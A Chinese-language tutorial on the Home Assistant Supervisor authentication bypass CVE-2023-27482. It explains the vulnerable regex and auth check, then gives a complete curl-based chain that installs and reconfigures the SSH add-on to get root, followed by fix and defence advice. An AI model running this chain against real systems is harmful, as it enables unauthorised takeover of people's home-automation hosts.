Home Assistant CVE-2023-27482 权限绕过漏洞分析与利用教学

漏洞概述

CVE-2023-27482 是 Home Assistant Supervisor 2023.01.1 之前版本中存在的一个严重安全漏洞，该漏洞允许攻击者绕过身份验证机制，进而可能导致远程代码执行(RCE)。漏洞的核心在于路径遍历和权限验证不当的问题。

受影响版本

• Home Assistant Supervisor 2023.01.1 之前的所有版本

漏洞分析

漏洞位置

漏洞主要存在于 http.py 文件中，具体涉及以下关键组件：

1. HassIOView 类
2. _need_auth 权限验证函数
3. 正则表达式匹配机制

关键代码分析

class HassIOView(HomeAssistantView):
    """Hass.io view to handle base part."""
    name = "api:hassio"
    url = "/api/hassio/{path:.+}"
    requires_auth = False
    
    def __init__(self, host: str, websession: aiohttp.ClientSession) -> None:
        """Initialize a Hass.io base view."""
        self._host = host
        self._websession = websession
    
    async def _handle(self, request: web.Request, path: str) -> web.Response | web.StreamResponse:
        """Route data to Hass.io."""
        hass = request.app["hass"]
        if _need_auth(hass, path) and not request[KEY_AUTHENTICATED]:
            return web.Response(status=HTTPStatus.UNAUTHORIZED)
        return await self._command_proxy(path, request)

权限验证机制

_need_auth 函数负责判断路径是否需要认证：

def _need_auth(hass, path: str) -> bool:
    """Return if a path need authentication."""
    if not async_is_onboarded(hass) and NO_AUTH_ONBOARDING.match(path):
        return False
    if NO_AUTH.match(path):
        return False
    return True

正则表达式问题

漏洞的关键在于正则表达式匹配过于宽松：

NO_AUTH = re.compile(r"app/.*")

这个正则表达式允许任何以 app/ 开头的路径绕过认证，结合路径遍历技术，攻击者可以构造特殊路径绕过认证。

漏洞利用

基本利用方式

通过双重URL编码绕过路径过滤：

/api/hassio/app/.%252e/supervisor/info

完整RCE利用链

1. 安装SSH插件：

   curl -X POST http://127.0.0.1:8123/api/hassio/app/.%252e/store/addons/a0d7b954_ssh/install
   

2. 禁用SSH保护：

   curl -X POST http://127.0.0.1:8123/api/hassio/app/.%252e/addons/a0d7b954_ssh/security \
   -H 'Content-Type: application/json' \
   -d '{"protected":"false"}'
   

3. 配置SSH选项（设置用户名和密码）：

   curl -X POST http://127.0.0.1:8123/api/hassio/app/.%252e/addons/a0d7b954_ssh/options \
   -H 'Content-Type: application/json' \
   -d '{"options":{"init_commands":[],"packages":[],"share_sessions":false,"ssh":{"allow_agent_forwarding":false,"allow_remote_port_forwarding":false,"allow_tcp_forwarding":false,"authorized_keys":[],"compatibility_mode":false,"password":"hunter2","sftp":false,"username":"hassio"},"zsh":true}}'
   

4. 重启SSH服务：

   curl -X POST http://127.0.0.1:8123/api/hassio/app/.%252e/addons/a0d7b954_ssh/restart
   

5. 通过SSH连接获取root权限：

   ssh 127.0.0.1 -p22 -lhassio
   

漏洞修复

修复措施包括：

1. 更新到 Home Assistant Supervisor 2023.01.1 或更高版本
2. 加强路径验证，防止路径遍历
3. 改进正则表达式匹配规则
4. 对关键API接口实施更严格的访问控制

防御建议

1. 及时更新Home Assistant到最新版本
2. 限制Home Assistant的网络访问，仅允许可信网络访问
3. 监控异常API请求，特别是包含特殊字符的请求
4. 考虑禁用不必要的插件和功能

总结

该漏洞展示了权限验证机制中的常见问题：

1. 过于宽松的正则表达式匹配
2. 对特殊字符和编码的处理不足
3. API接口设计中的安全考虑不充分

在开发类似系统时，应当：

1. 对用户输入进行严格验证和过滤
2. 考虑各种编码和绕过技术
3. 实施最小权限原则
4. 对关键操作实施多重验证